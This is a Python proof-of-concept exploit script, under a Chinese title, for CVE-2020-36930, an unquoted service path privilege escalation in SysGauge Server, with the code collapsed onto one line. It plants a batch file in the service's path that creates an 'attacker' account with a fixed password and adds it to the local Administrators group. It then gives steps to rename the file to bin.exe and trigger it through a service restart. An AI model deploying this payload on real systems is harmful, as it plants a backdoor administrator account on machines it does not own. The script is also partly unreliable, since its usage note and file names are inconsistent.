CVE-2020-36930 SysGauge Server未引号服务路径权限提升漏洞

# CVE-2020-36930 SysGauge Server Unquoted Service Path PoC # This PoC demonstrates the unquoted service path vulnerability # Usage: Run with local administrator privileges import os import sys import subprocess import shutil def check_vulnerability(): """Check if SysGauge Server is installed and vulnerable""" paths_to_check = [ r'C:\Program Files\SysGauge Server\bin\sysgaus.exe', r'C:\Program Files\SysGauge Server\bin\sysgauges.exe' ] for path in paths_to_check: if os.path.exists(path): print(f'[+] SysGauge executable found: {path}') return True return False def create_malicious_executable(): """Create a malicious executable to be placed in unquoted path""" malicious_path = r'C:\Program Files\SysGauge Server\bin.exe' # Create a simple reverse shell payload # In real attack, this would be actual malicious code print(f'[*] Creating malicious executable at: {malicious_path}') print('[*] Payload: Creates a new admin user and adds to Administrators group') # For demonstration, create a benign script that shows the vulnerability malicious_code = ''' @echo off echo [+] Malicious executable executed via unquoted path! >> C:\\temp\\poc_log.txt net user attacker P@ssw0rd123! /add >> C:\\temp\\poc_log.txt 2>&1 net localgroup Administrators attacker /add >> C:\\temp\\poc_log.txt 2>&1 echo [+] Privilege escalation successful >> C:\\temp\\poc_log.txt ''' os.makedirs(r'C:\temp', exist_ok=True) with open(malicious_path.replace('.exe', '.bat'), 'w') as f: f.write(malicious_code) print(f'[+] Malicious script created: {malicious_path.replace(".exe", ".bat")}') return malicious_path def exploit(): """Execute the exploit""" print('[*] CVE-2020-36930 Exploit - SysGauge Server Unquoted Service Path') print('[*] Target: SysGauge Server <= 7.9.18') print('=' * 60) if not check_vulnerability(): print('[-] SysGauge Server not found or not installed') return False print('[+] Target is potentially vulnerable') malicious_path = create_malicious_executable() print('[+] To complete exploitation:') print(f' 1. Rename {malicious_path.replace(".exe", ".bat")} to bin.exe') print(' 2. Wait for SysGauge service restart or system reboot') print(' 3. Check C:\\temp\\poc_log.txt for results') print('[*] Note: Requires service restart to trigger the malicious executable') return True if __name__ == '__main__': exploit()